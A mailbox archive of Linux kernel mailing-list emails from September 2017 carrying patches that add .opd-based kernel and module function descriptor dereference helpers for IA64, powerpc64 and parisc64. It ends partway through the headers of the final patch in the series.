Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 16 05:58:52 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dt4Fo-0007eC-2Z
	for glk-linux-kernel-3@m.gmane.org; Sat, 16 Sep 2017 05:58:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751924AbdIPD65 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 15 Sep 2017 23:58:57 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:33060 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751880AbdIPD6x (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 15 Sep 2017 23:58:53 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id i130so2252888pgc.0;
        Fri, 15 Sep 2017 20:58:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=OfRmoCKaZTxH76f85Hvnq8h3YMNL73s6OtfMeyJchEA=;
        b=ihzKPt2JNphNcRhzF55U+ViPAtPrQmrI4I8wS+uNzN58qPLY5oP3FWev2QdTmCt1h8
         s7JnP2zWINouAfPuaeoP1QXqNPESvMKATqc0+QIYSeDQ9VxzQzPng1sETMy6vwziSOFm
         tE9W6TFPC9Bww4gwudoAVpBeuYnSrjaKtBXvhLTNIw1GdqofUeYrcomKjQXkoggrHI08
         iJ6h4pAsD7NVc2XbPEbJX9qVT9rZZHPY6Tp7255fOc0VB+xW1Ici3AXwihBPaahFpjb2
         uqi6sGgghRXeWHQddHwcAsgzwZSBRDf4Gohtsh5gB4cqx34se+4ItzqwU73DrnW6wJnT
         DHXA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=OfRmoCKaZTxH76f85Hvnq8h3YMNL73s6OtfMeyJchEA=;
        b=emUy+YWfx8fFy/w8qa+/WpnzSgA/XopOHwDc43iJ/4HJBJuLk5o6m/EqmAsH/HvgZO
         jPQwQWo7fx5FWfvWygdaFp7DSn6FPMyNSZo5HrEXpXRpwDLJh5uMVakmJUE1sg4HUYKo
         2rK486a9uPv5aa+2fq47UJGU49XT91A7qE9dMSceN1IzyCpPA2ocEmNoKbeuiOXRfRax
         EIkthyqj/sptVchd45DGli6e3hK38U4S/q5RntM9ZfvcekdGOxRvUGGsQxScVr6cMlvQ
         tWnXBxzA4uiXOBMZKNZTFj7sx+Gu3pUsN3Hy1SPhtXrl8m2IRAMr3wnwwf4qZBq1IlDx
         Op4w==
X-Gm-Message-State: AHPjjUhtHJEBtNXYf5pooYmaSQw+iNV4bJG5dkp574hBOCawODrHfeTw
        ACzIEhECSUtBxQ==
X-Google-Smtp-Source: ADKCNb5+5Kec3ncfrrAw+emYdbKrMNgzOmgON9Y0elrR2xm82eoL2rFLeoBQGYifIqWj24otNRYx4g==
X-Received: by 10.84.225.2 with SMTP id t2mr30313733plj.425.1505534332715;
        Fri, 15 Sep 2017 20:58:52 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id 76sm4448230pfp.158.2017.09.15.20.58.47
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 15 Sep 2017 20:58:52 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2571294 gmane.linux.ports.ia64:28108 gmane.linux.ports.parisc:27807 gmane.linux.ports.ppc64.devel:147945
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2571294>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for IA64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd];

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end].

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 arch/ia64/include/asm/sections.h | 14 +++++++++++++-
 arch/ia64/kernel/module.c        | 13 +++++++++++++
 arch/ia64/kernel/vmlinux.lds.S   |  2 ++
 3 files changed, 28 insertions(+), 1 deletion(-)

diff --git a/arch/ia64/include/asm/sections.h b/arch/ia64/include/asm/sections.h
index 2ab2003698ef..bff3f3535609 100644
--- a/arch/ia64/include/asm/sections.h
+++ b/arch/ia64/include/asm/sections.h
@@ -25,8 +25,11 @@ extern char __start_gate_fsyscall_patchlist[], __end_gate_fsyscall_patchlist[];
 extern char __start_gate_brl_fsys_bubble_down_patchlist[], __end_gate_brl_fsys_bubble_down_patchlist[];
 extern char __start_unwind[], __end_unwind[];
 extern char __start_ivt_text[], __end_ivt_text[];
+extern char __start_opd[], __end_opd[];
 
 #undef dereference_function_descriptor
+#undef dereference_kernel_function_descriptor
+
 static inline void *dereference_function_descriptor(void *ptr)
 {
 	struct fdesc *desc = ptr;
@@ -37,6 +40,15 @@ static inline void *dereference_function_descriptor(void *ptr)
 	return ptr;
 }
 
+static inline void *dereference_kernel_function_descriptor(void *ptr)
+{
+	/*
+	 * Check if the ptr is a function descriptor and thus needs to
+	 * be dereferenced.
+	 */
+	if (ptr < (void *)__start_opd || (void *)__end_opd < ptr)
+		return ptr;
+	return dereference_function_descriptor(ptr);
+}
 
 #endif /* _ASM_IA64_SECTIONS_H */
-
diff --git a/arch/ia64/kernel/module.c b/arch/ia64/kernel/module.c
index d1d945c6bd05..d42f1e19d75d 100644
--- a/arch/ia64/kernel/module.c
+++ b/arch/ia64/kernel/module.c
@@ -35,6 +35,7 @@
 
 #include <asm/patch.h>
 #include <asm/unaligned.h>
+#include <asm/sections.h>
 
 #define ARCH_MODULE_DEBUG 0
 
@@ -917,3 +918,15 @@ module_arch_cleanup (struct module *mod)
 	if (mod->arch.core_unw_table)
 		unw_remove_unwind_table(mod->arch.core_unw_table);
 }
+
+unsigned long dereference_module_function_descriptor(struct module *mod,
+					     unsigned long addr)
+{
+	Elf64_Shdr *opd = mod->arch.opd;
+
+	if (addr < opd->sh_addr ||
+			(opd->sh_addr + opd->sh_size) < addr)
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
diff --git a/arch/ia64/kernel/vmlinux.lds.S b/arch/ia64/kernel/vmlinux.lds.S
index 798026dde52e..f872ba5ff82a 100644
--- a/arch/ia64/kernel/vmlinux.lds.S
+++ b/arch/ia64/kernel/vmlinux.lds.S
@@ -107,7 +107,9 @@ SECTIONS {
 	RODATA
 
 	.opd : AT(ADDR(.opd) - LOAD_OFFSET) {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	}
 
 	/*
-- 
2.14.1



From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH 3/5] powerpc64: Add .opd based function descriptor dereference
Date: Sat, 16 Sep 2017 12:53:45 +0900
Lines: 132
Approved: news@gmane.org
Message-ID: <20170916035347.19705-4-sergey.senozhatsky@gmail.com>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505534341 30547 195.159.176.226 (16 Sep 2017 03:59:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 16 Sep 2017 03:59:01 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 16 05:58:56 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dt4Fp-0007eC-VT
	for glpp-linux-parisc@m.gmane.org; Sat, 16 Sep 2017 05:58:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751925AbdIPD7B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 15 Sep 2017 23:59:01 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:37476 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751348AbdIPD66 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 15 Sep 2017 23:58:58 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id e69so2068137pfg.4;
        Fri, 15 Sep 2017 20:58:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=KYXU6Z1rehKcw0LU74adwCML4qq4/Y5wszCe6R2duPs=;
        b=n79MRlF2JtUgaE8k+s4aCoQUdpFfI/c1g79hYpWqgt00QG0zr4WLO80sOByJPmbwYN
         Krxcde6niBj9JtrNy5v9Gx8sqNMcQ3eNPDtUxb6yj97f7koH/jllcVEvQD7Df+YgOE30
         3H+rz1U2jw5Eo5GI7lP8Tjt6AaOEkTktvtb/MohkEaBRGqwoVGbbs17DRqruD9iDa61f
         bKP7fD4wQD5t0gaoTQqyTFQsUMqRhIetaqsDfEmWHkW3yV0GdENhfQBXxKvDr9ni4i+7
         OyY2N6lNQc5b1+r4KXZ1YTUMHhpFwWOhtg+fecuIR/K1DDTOUK+iWYcO9dwjpG0fS7IQ
         5uGw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=KYXU6Z1rehKcw0LU74adwCML4qq4/Y5wszCe6R2duPs=;
        b=UN5aAqS/UuXfRIP6PfsQr+dwooux6911jbux2M8xOSPh8/aCyq/XLeC3Zpnr+Qxl+K
         oezpSTSF18+j6qgN04By1O/j8EMt57tJyO52vjswqaMQVsHmrUDRuaIq7ksiQBdorCJD
         cla27imP2skw7bQmjZn1hVG5ijgsphEd0Pn1zt6G16LPDakKmxr1zv9Ja85zA4OStLCX
         oDhqp21AUOaoIHnSaf3xBIzqRYi/Ioeo57cjwLmJD20uMlUmicrjJUiSrQTLIPlkVun5
         OGfHQpO5D/57foxIUQ2jPXdoLpqWhzwSGdxOtCR1OJK2U7H1vmGsA397C2BX5qlmoa2g
         57FA==
X-Gm-Message-State: AHPjjUiGEysNBoOQ5pDrXekQabI/z/7YJMKFFy7ryBQ79VjdtzMZ6Q8E
        4K1P6YtyTlUEXA==
X-Google-Smtp-Source: AOwi7QB6S+1oUsVca4OFvW6fapm9NwjRHGXpnapfYqOTzsmAZ/kDoXq7rQV8BPu1IEwaieiW352AsQ==
X-Received: by 10.159.194.201 with SMTP id u9mr9387881plz.142.1505534338124;
        Fri, 15 Sep 2017 20:58:58 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id 76sm4448230pfp.158.2017.09.15.20.58.53
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 15 Sep 2017 20:58:57 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27808 gmane.linux.ports.ia64:28109 gmane.linux.ports.ppc64.devel:147946 gmane.linux.kernel:2571295
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27808>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for powerpc64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd];

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end].

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 arch/powerpc/include/asm/module.h   |  3 +++
 arch/powerpc/include/asm/sections.h | 13 +++++++++++++
 arch/powerpc/kernel/module_64.c     | 16 ++++++++++++++++
 arch/powerpc/kernel/vmlinux.lds.S   |  2 ++
 4 files changed, 34 insertions(+)

diff --git a/arch/powerpc/include/asm/module.h b/arch/powerpc/include/asm/module.h
index 6c0132c7212f..7e28442827f1 100644
--- a/arch/powerpc/include/asm/module.h
+++ b/arch/powerpc/include/asm/module.h
@@ -45,6 +45,9 @@ struct mod_arch_specific {
 	unsigned long tramp;
 #endif
 
+	/* For module function descriptor dereference */
+	unsigned long start_opd;
+	unsigned long end_opd;
 #else /* powerpc64 */
 	/* Indices of PLT sections within module. */
 	unsigned int core_plt_section;
diff --git a/arch/powerpc/include/asm/sections.h b/arch/powerpc/include/asm/sections.h
index 7902d6358854..7cc4db86952b 100644
--- a/arch/powerpc/include/asm/sections.h
+++ b/arch/powerpc/include/asm/sections.h
@@ -16,6 +16,9 @@ extern char __end_interrupts[];
 extern char __prom_init_toc_start[];
 extern char __prom_init_toc_end[];
 
+extern char __start_opd[];
+extern char __end_opd[];
+
 static inline int in_kernel_text(unsigned long addr)
 {
 	if (addr >= (unsigned long)_stext && addr < (unsigned long)__init_end)
@@ -66,6 +69,8 @@ static inline int overlaps_kvm_tmp(unsigned long start, unsigned long end)
 
 #ifdef PPC64_ELF_ABI_v1
 #undef dereference_function_descriptor
+#undef dereference_kernel_function_descriptor
+
 static inline void *dereference_function_descriptor(void *ptr)
 {
 	struct ppc64_opd_entry *desc = ptr;
@@ -75,6 +80,14 @@ static inline void *dereference_function_descriptor(void *ptr)
 		ptr = p;
 	return ptr;
 }
+
+static inline void *dereference_kernel_function_descriptor(void *ptr)
+{
+	if (ptr < (void *)__start_opd || (void *)__end_opd < ptr)
+		return ptr;
+
+	return dereference_function_descriptor(ptr);
+}
 #endif /* PPC64_ELF_ABI_v1 */
 
 #endif
diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
index 0b0f89685b67..52aa5d668364 100644
--- a/arch/powerpc/kernel/module_64.c
+++ b/arch/powerpc/kernel/module_64.c
@@ -344,6 +344,11 @@ int module_frob_arch_sections(Elf64_Ehdr *hdr,
 		else if (strcmp(secstrings+sechdrs[i].sh_name,"__versions")==0)
 			dedotify_versions((void *)hdr + sechdrs[i].sh_offset,
 					  sechdrs[i].sh_size);
+		else if (strcmp(secstrings + sechdrs[i].sh_name, ".opd")==0) {
+			me->arch.start_opd = sechdrs[i].sh_offset;
+			me->arch.end_opd = me->arch.start_opd +
+					sechdrs[i].sh_size;
+		}
 
 		/* We don't handle .init for the moment: rename to _init */
 		while ((p = strstr(secstrings + sechdrs[i].sh_name, ".init")))
@@ -712,6 +717,17 @@ int apply_relocate_add(Elf64_Shdr *sechdrs,
 	return 0;
 }
 
+#ifdef PPC64_ELF_ABI_v1
+unsigned long dereference_module_function_descriptor(struct module *mod,
+						     unsigned long addr)
+{
+	if (addr < mod->arch.start_opd || mod->arch.end_opd < addr)
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
+#endif /* PPC64_ELF_ABI_v1 */
+
 #ifdef CONFIG_DYNAMIC_FTRACE
 
 #ifdef CC_USING_MPROFILE_KERNEL
diff --git a/arch/powerpc/kernel/vmlinux.lds.S b/arch/powerpc/kernel/vmlinux.lds.S
index 882628fa6987..70e10251e083 100644
--- a/arch/powerpc/kernel/vmlinux.lds.S
+++ b/arch/powerpc/kernel/vmlinux.lds.S
@@ -277,7 +277,9 @@ SECTIONS
 	}
 
 	.opd : AT(ADDR(.opd) - LOAD_OFFSET) {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	}
 
 	. = ALIGN(256);
-- 
2.14.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 4/5] parisc64: Add .opd based function descriptor dereference
Date: Sat, 16 Sep 2017 12:53:46 +0900
Lines: 122
Approved: news@gmane.org
Message-ID: <20170916035347.19705-5-sergey.senozhatsky@gmail.com>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505534353 31683 195.159.176.226 (16 Sep 2017 03:59:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 16 Sep 2017 03:59:13 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 16 05:59:06 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dt4G1-00082H-AX
	for glk-linux-kernel-3@m.gmane.org; Sat, 16 Sep 2017 05:59:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751673AbdIPD7L (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 15 Sep 2017 23:59:11 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:37050 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751348AbdIPD7E (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 15 Sep 2017 23:59:04 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id v5so2244229pgn.4;
        Fri, 15 Sep 2017 20:59:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=pbzYOzxbOw6DTwzifZOrQKTCkzmMvM1AuZ6bZBhn/8I=;
        b=B9yS/sQadvK96q1aIc5hTaldbqGJxKmWOZVclkuWvDhvllUkDv+5wFFmCKpgn1cLAA
         H7x9e98ZIsQ419oDJTJOLNfBYbEsPb/JH/HTuykLHWC5G0jZPQlpDkXFK5An/HMo5XUZ
         OD6OOc3LTqA1qF0EgGHjQGttdLlEccIX56KeA/MP80uN8d2RWuiP9IE5wuatW+QzCCK4
         sOMICC26mnYTXqWayqsA4IACV674ytavudrLB4ND1rmxXKlm3k1Sknzz82CEDunNamzv
         DCQ/HJiGSRSkWJ2JkQ7qTpyjJGeALAgDZfwJTjxTyDkvtYspdsruMEx98/CovfT/c3xd
         2Y/A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=pbzYOzxbOw6DTwzifZOrQKTCkzmMvM1AuZ6bZBhn/8I=;
        b=ItWRyH/T4CH2TW1sl/6BUmPgOjgGdHT1hyjoWwApFZMbR0YmDjnpl2dZTIqE9itPWC
         mOlosiG4FtvRkZbiv2xJoNqwQgqbmjtQlvQr/3DerjQ1AoxOrnfK70Ag2+Np+ETR3pEq
         8yeNSQHeTwFa2z+OCsTgz021Dq+bixzM7sLRTTOom9417HVI10194pQ3polQgas0wO20
         3ML3v3hgobIoFm5EpsDQK9OVOI5gK5/wmvzWz8DqG2HcA7gWXloNRVQltMCvEqwOiZqt
         wWC8gFGQLY7mKBXxGjA/I1OTLUWX7XVp28N632vL3fHKrdE5F4IZBsXzqHvbv3PQLnIr
         VGHw==
X-Gm-Message-State: AHPjjUhjjXeT2NrDas/WEBYNIWry/XT4uD8RgY29ZK6/qBCoPGoAwR2b
        D08W4XWFEESRLQ==
X-Google-Smtp-Source: ADKCNb72JBLpCpXAZRIhvidNNJivAjezU/LFSmdoHpDu8p3KLbsGSzVCVXfc4iL0d9r2cUj11lkcHA==
X-Received: by 10.99.126.84 with SMTP id o20mr26925543pgn.293.1505534343684;
        Fri, 15 Sep 2017 20:59:03 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id 76sm4448230pfp.158.2017.09.15.20.58.59
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 15 Sep 2017 20:59:03 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2571296 gmane.linux.ports.ia64:28110 gmane.linux.ports.parisc:27809 gmane.linux.ports.ppc64.devel:147947
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2571296>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for parisc64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd];

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end].

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 arch/parisc/boot/compressed/vmlinux.lds.S |  2 ++
 arch/parisc/include/asm/sections.h        |  3 +++
 arch/parisc/kernel/module.c               | 14 ++++++++++++++
 arch/parisc/kernel/process.c              | 10 ++++++++++
 arch/parisc/kernel/vmlinux.lds.S          |  2 ++
 5 files changed, 31 insertions(+)

diff --git a/arch/parisc/boot/compressed/vmlinux.lds.S b/arch/parisc/boot/compressed/vmlinux.lds.S
index a4ce3314e78e..4ebd4e65524c 100644
--- a/arch/parisc/boot/compressed/vmlinux.lds.S
+++ b/arch/parisc/boot/compressed/vmlinux.lds.S
@@ -29,7 +29,9 @@ SECTIONS
 	. = ALIGN(16);
 	/* Linkage tables */
 	.opd : {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	} PROVIDE (__gp = .);
 	.plt : {
 		*(.plt)
diff --git a/arch/parisc/include/asm/sections.h b/arch/parisc/include/asm/sections.h
index 9d13c3507ad6..e3cde650b2f9 100644
--- a/arch/parisc/include/asm/sections.h
+++ b/arch/parisc/include/asm/sections.h
@@ -6,7 +6,10 @@
 
 #ifdef CONFIG_64BIT
 #undef dereference_function_descriptor
+#undef dereference_kernel_function_descriptor
+
 void *dereference_function_descriptor(void *);
+void *dereference_kernel_function_descriptor(void *);
 #endif
 
 #endif
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index f1a76935a314..bc2eae8634fd 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -954,3 +954,17 @@ void module_arch_cleanup(struct module *mod)
 {
 	deregister_unwind_table(mod);
 }
+
+#ifdef CONFIG_64BIT
+unsigned long dereference_module_function_descriptor(struct module *mod,
+					     unsigned long addr)
+{
+	void *opd_sz = mod->arch.fdesc_offset +
+		       mod->arch.fdesc_max * sizeof(Elf64_Fdesc);
+
+	if (addr < mod->arch.fdesc_offset || opd_sz < addr)
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
+#endif
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 30f92391a93e..f30776bdaa79 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -267,6 +267,8 @@ get_wchan(struct task_struct *p)
 }
 
 #ifdef CONFIG_64BIT
+extern char __start_opd[], __end_opd[];
+
 void *dereference_function_descriptor(void *ptr)
 {
 	Elf64_Fdesc *desc = ptr;
@@ -276,6 +278,14 @@ void *dereference_function_descriptor(void *ptr)
 		ptr = p;
 	return ptr;
 }
+
+void *dereference_kernel_function_descriptor(void *ptr)
+{
+	if (ptr < (void *)__start_opd || (void *)__end_opd < ptr)
+		return ptr;
+
+	return dereference_function_descriptor(ptr);
+}
 #endif
 
 static inline unsigned long brk_rnd(void)
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index ffe2cbf52d1a..ab030895dd1e 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -99,7 +99,9 @@ SECTIONS
 	. = ALIGN(16);
 	/* Linkage tables */
 	.opd : {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	} PROVIDE (__gp = .);
 	.plt : {
 		*(.plt)
-- 
2.14.1



From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 5/5] symbol lookup: use new kernel and module dereference functions
Date: Sat, 16 Sep 2017 12:53:47 +0900
Lines: 116
Approved: news@gmane.org
Message-ID: <20170916035347.19705-6-sergey.senozhatsky@gmail.com>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505534370 945 195.159.176.226 (16 Sep 2017 03:59:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 16 Sep 2017 03:59:30 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
